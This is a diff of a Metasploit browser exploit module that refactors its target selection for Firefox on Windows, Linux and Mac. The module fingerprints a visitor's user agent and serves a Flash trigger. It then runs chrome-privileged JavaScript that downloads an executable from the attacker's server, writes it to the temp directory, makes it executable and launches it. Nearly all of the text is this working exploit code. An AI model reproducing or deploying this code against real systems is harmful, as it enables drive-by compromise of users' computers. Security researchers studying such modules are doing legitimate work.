@@ -33,26 +33,30 @@ def initialize(info = {})
33
33
with script access should be able to trigger it.
34
34
} ,
35
35
'License' => MSF_LICENSE ,
36
- 'Targets' => [
37
- [ 'Windows x86 (Native Payload)' ,
38
- {
39
- 'Platform' => 'win' ,
40
- 'Arch' => ARCH_X86
41
- }
42
- ] ,
43
- [ 'Linux x86 (Native Payload)' ,
44
- {
45
- 'Platform' => 'linux' ,
46
- 'Arch' => ARCH_X86
47
- }
36
+ 'Platform' => 'win' ,
37
+ 'Targets' =>
38
+ [
39
+ [ 'Automatic' , { } ] ,
40
+ [
41
+ 'Windows x86 (Native Payload)' ,
42
+ {
43
+ 'Platform' => 'win' ,
44
+ 'Arch' => ARCH_X86
45
+ }
46
+ ] ,
47
+ [ 'Linux x86 (Native Payload)' ,
48
+ {
49
+ 'Platform' => 'linux' ,
50
+ 'Arch' => ARCH_X86
51
+ }
52
+ ] ,
53
+ [ 'Mac OS X x86 (Native Payload)' ,
54
+ {
55
+ 'Platform' => 'osx' ,
56
+ 'Arch' => ARCH_X86 ,
57
+ }
58
+ ]
48
59
] ,
49
- [ 'Mac OS X x86 (Native Payload)' ,
50
- {
51
- 'Platform' => 'osx' ,
52
- 'Arch' => ARCH_X86 ,
53
- }
54
- ]
55
- ] ,
56
60
'DefaultTarget' => 0 ,
57
61
'Author' =>
58
62
[
@@ -78,12 +82,16 @@ def initialize(info = {})
78
82
end
79
83
80
84
def on_request_uri ( cli , request )
81
- if target != get_target ( request . headers [ 'User-Agent' ] )
82
- print_status ( "User agent does not match an available payload type, bailing." )
85
+ my_target = get_target ( request . headers [ 'User-Agent' ] )
86
+ if my_target . nil?
87
+ print_error ( "User agent does not match an available payload type, bailing." )
83
88
send_not_found ( cli )
84
89
return
85
90
end
86
91
92
+ target = my_target
93
+ print_status ( target . name )
94
+
87
95
if request . uri =~ /\. swf$/
88
96
# send Flash .swf for navigating the frame to chrome://
89
97
print_status ( "Sending .swf trigger." )
@@ -94,33 +102,38 @@ def on_request_uri(cli, request)
94
102
send_response ( cli , dropped_file_contents ( cli ) , { 'Content-Type' => 'application/octet-stream' } )
95
103
else
96
104
# send initial HTML page
105
+ print_status ( "Target selected: #{ target . name } " )
97
106
print_status ( "Sending #{ self . name } " )
98
- send_response_html ( cli , generate_html )
107
+ send_response_html ( cli , generate_html ( target ) )
99
108
end
100
109
handler ( cli )
101
110
end
102
111
103
112
# @return [String] the encoded executable for dropping onto the client's machine
104
113
def dropped_file_contents ( cli )
105
- regenerate_payload ( cli ) . encoded_exe ( )
114
+ return if ( ( p = regenerate_payload ( cli ) ) == nil )
115
+ generate_payload_exe ( { :code => p . encoded } )
106
116
end
107
117
108
118
# @return [Msf::Module::Target] that matches the client's user-agent header
109
119
def get_target ( agent )
110
- # browser detection
120
+ # Not firefox, bail
111
121
if agent !~ /firefox/i
112
122
return nil
113
123
end
124
+
125
+ # User wants to manually specify a target, respect that
126
+ if target != targets [ 0 ]
127
+ return target
128
+ end
129
+
114
130
# os detection
115
131
if agent =~ /windows/i
116
- print_status 'Windows detected.'
117
- targets [ 0 ]
118
- elsif agent =~ /linux/i
119
- print_status 'Linux detected.'
120
132
targets [ 1 ]
121
- elsif agent =~ /macintosh/i and agent =~ /intel/i
122
- print_status 'OSX detected.'
133
+ elsif agent =~ /linux/i
123
134
targets [ 2 ]
135
+ elsif agent =~ /macintosh/i and agent =~ /intel/i
136
+ targets [ 3 ]
124
137
else
125
138
nil
126
139
end
@@ -133,16 +146,16 @@ def flash_trigger
133
146
end
134
147
135
148
# @return [String] the filename that will be used when the payload is dropped
136
- def payload_filename
137
- if target . name == ' Windows x86 (Native Payload)'
149
+ def payload_filename ( target )
150
+ if target . name =~ / Windows x86/i
138
151
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .exe"
139
152
else
140
153
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .bin"
141
154
end
142
155
end
143
156
144
157
# @return [String] containing javascript code to execute with chrome privileges
145
- def js_payload
158
+ def js_payload ( target )
146
159
%Q|
147
160
#{ js_debug ( "Injection successful. JS executing with chrome privileges." ) }
148
161
var x = new XMLHttpRequest;
@@ -153,7 +166,7 @@ def js_payload
153
166
var file = Components.classes["@mozilla.org/file/directory_service;1"]
154
167
.getService(Components.interfaces.nsIProperties)
155
168
.get("TmpD", Components.interfaces.nsIFile);
156
- file.append('#{ payload_filename } ');
169
+ file.append('#{ payload_filename ( target ) } ');
157
170
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
158
171
.createInstance(Components.interfaces.nsIFileOutputStream);
159
172
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
@@ -163,7 +176,7 @@ def js_payload
163
176
} else {
164
177
stream.close();
165
178
}
166
- #{ chmod_code }
179
+ #{ chmod_code ( target ) }
167
180
#{ js_debug ( "'Downloaded to: '+file.path" , "" ) }
168
181
var process = Components.classes["@mozilla.org/process/util;1"]
169
182
.createInstance(Components.interfaces.nsIProcess);
@@ -179,7 +192,7 @@ def js_debug(str, quote="'")
179
192
end
180
193
181
194
# @return [String] containing javascript that will chmod the dropped executable
182
- def chmod_code
195
+ def chmod_code ( target )
183
196
return '' if target . name == 'Windows x86 (Native Payload)'
184
197
%Q|
185
198
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
@@ -194,15 +207,15 @@ def chmod_code
194
207
def base_url
195
208
proto = ( datastore [ "SSL" ] ? "https" : "http" )
196
209
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
197
- "#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
210
+ "#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ get_resource } "
198
211
end
199
212
200
213
# @return [String] HTML that is sent in the first response to the client
201
- def generate_html
214
+ def generate_html ( target )
202
215
vars = {
203
216
:symbol_id => 'a' ,
204
217
:random_domain => 'safe' ,
205
- :payload => js_payload ,
218
+ :payload => js_payload ( target ) ,
206
219
:payload_var => 'c' ,
207
220
:payload_key => 'k' ,
208
221
:payload_obj_var => 'payload_obj' ,
0 commit comments